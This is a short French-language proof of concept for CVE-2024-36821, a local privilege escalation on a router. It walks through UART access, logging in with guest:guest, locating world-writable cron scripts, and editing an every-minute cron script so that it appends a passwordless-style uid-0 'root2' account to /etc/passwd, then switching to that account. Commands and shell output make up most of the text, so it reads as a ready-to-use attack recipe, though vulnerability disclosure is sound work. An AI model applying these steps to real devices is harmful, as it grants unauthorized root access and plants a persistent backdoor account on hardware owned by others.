CVE-2024-36821

La référence publique contenant les informations minimales requises pour la vulnérabilité couverte par CVE-2024-36821

La vidéo originale avec la preuve de concept se trouve sur la vidéo -> https://www.youtube.com/watch?v=6vHno0ik7JY

La preuve de concept :

1. Connectez-vous au routeur via une connexion UART

2. En utilisant les identifiants guest:guest, connectez-vous au système

3. En utilisant la commande find / -perm -777 -type f 2>/dev/null, trouvez les fichiers avec les permissions lecture-écriture-exécution :

   root@kitploit:~

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. Vérifiez le propriétaire avec la commande ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh

5. Générez le mot de passe avec la commande openssl passwd Abracadabra

6. Éditez /tmp/cron/cron.everyminute/conntrack_collector.sh, en ajoutant à la fin le nouveau mot de passe généré :

   root@kitploit:~

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. Attendez une minute

8. Changez d'utilisateur vers root2 avec la commande suivante

   root@kitploit:~

   / $ su root2
   Password: Abracadabra
   ~ #